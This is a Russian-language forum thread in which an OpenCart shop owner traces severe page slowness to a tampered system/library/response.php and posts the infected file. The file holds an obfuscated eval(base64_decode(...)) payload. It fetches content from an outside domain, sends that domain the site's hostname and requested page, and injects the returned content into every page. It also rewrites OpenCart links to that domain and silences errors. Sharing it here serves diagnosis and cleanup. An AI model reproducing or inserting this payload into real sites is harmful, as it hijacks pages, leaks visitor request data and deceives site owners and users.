Тормозит админка и front-end

Тема в разделе "Opencart", создана пользователем sitecreator, 29 май 2013.

Информация :
Внимание форумчане! При создании тем, или выкладывании какой-либо информации проверьте в какой ветке форума вы находитесь! Не путайте Opencart и Opencart2. При несоблюдении данного условия выносится соответствующее наказание! И потом не говорите что вас НЕ ПРЕДУПРЕЖДАЛИ! По возможности используйте обменники mail, yandex, google, dropbox, rghost Дабы избежать просьб перезалить и проблем с рекламой!
Статус темы:
Закрыта.
Модераторы: ZiX
  1. sitecreator

    sitecreator

    Регистр.:
    1 май 2013
    Сообщения:
    209
    Симпатии:
    17
    Сайт жутко тормозит. загрузка страницы несколько секунд. 10...20 секунд.

    Дела явно не в ресурсах сервера, т. к. использую серьезный выделенный сервер.

    Данная страница в админке грузилась 17 секунд. это видно на картинке. ожидание - 17 секунд.
    куда копнуть?

    [​IMG]
     
  2. Funya007

    Funya007 Постоялец

    Регистр.:
    27 окт 2007
    Сообщения:
    83
    Симпатии:
    30
    Модули устанавливали? Проверьте для начала файл system/library/response.php , туда иногда любят пихать лишнее, аля $ouput = eval(base64_decode('ZnVuY3R......'));
     
    sitecreator нравится это.
  3. sitecreator

    sitecreator

    Регистр.:
    1 май 2013
    Сообщения:
    209
    Симпатии:
    17

    модулей куча.

    я тоже думаю, что проблема может быть в этом файле.
    заменил на родной.

    загружаться стала страница за 1...2 секунды.
     
  4. leto

    leto Постоялец

    Регистр.:
    17 авг 2011
    Сообщения:
    68
    Симпатии:
    4
    Советую воспользоваться сервисом:

    Мне в своё время помогло малеха оптимизировать сайтик.
     
  5. sitecreator

    sitecreator

    Регистр.:
    1 май 2013
    Сообщения:
    209
    Симпатии:
    17
    А вот и код поганый. смотрим нижние строчки. response.php
    Код:
    <?php
    class Response {
        private $headers = array();
        private $level = 0;
        private $output;
     
        public function addHeader($header) {
            $this->headers[] = $header;
        }
     
        public function redirect($url) {
            header('Location: ' . $url);
            exit;
        }
     
        public function setCompression($level) {
            $this->level = $level;
        }
     
        public function setOutput($output) {
            $this->output = $output;
        }
     
        private function compress($data, $level = 0) {
            if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
                $encoding = 'gzip';
            }
     
            if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
                $encoding = 'x-gzip';
            }
     
            if (!isset($encoding)) {
                return $data;
            }
     
            if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
                return $data;
            }
     
            if (headers_sent()) {
                return $data;
            }
     
            if (connection_status()) {
                return $data;
            }
     
            $this->addHeader('Content-Encoding: ' . $encoding);
     
            return gzencode($data, (int)$level);
        }
     
        public function output() {
        if (!defined('HTTP_CATALOG')) $this->output = str_replace('index.php?route=common/home', '', $this->output);
            if ($this->output) {
                if ($this->level) {
                    $ouput = $this->compress($this->output, $this->level);
                } else {
                    $ouput = $this->output;
                }
     
                if (!headers_sent()) {
                    foreach ($this->headers as $header) {
                        header($header, true);
                    }
                }
     
                $ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
            }
        }
    }
    ?>
     
  6. sitecreator

    sitecreator

    Регистр.:
    1 май 2013
    Сообщения:
    209
    Симпатии:
    17
    по хорошему так и надо бы сделать. но это не часик. это несколько дней.
    поскольку тема недефолтная, расширений 35 штук, это не считая vqmod (там еще 18), да и что то правилось прямо в коде.
     
  7. starkiev

    starkiev

    Регистр.:
    11 май 2007
    Сообщения:
    413
    Симпатии:
    58
    а почему нельзя сделать полную копию, выключить все модули а потом один за другим - включать?
     
  8. sitecreator

    sitecreator

    Регистр.:
    1 май 2013
    Сообщения:
    209
    Симпатии:
    17
    это не помогло, пробовал
     
  9. starkiev

    starkiev

    Регистр.:
    11 май 2007
    Сообщения:
    413
    Симпатии:
    58
    А если скопировать всё и удалять модули, начиная с наименее важных? Менее точный способ, но тенденцию понять можно
     
Статус темы:
Закрыта.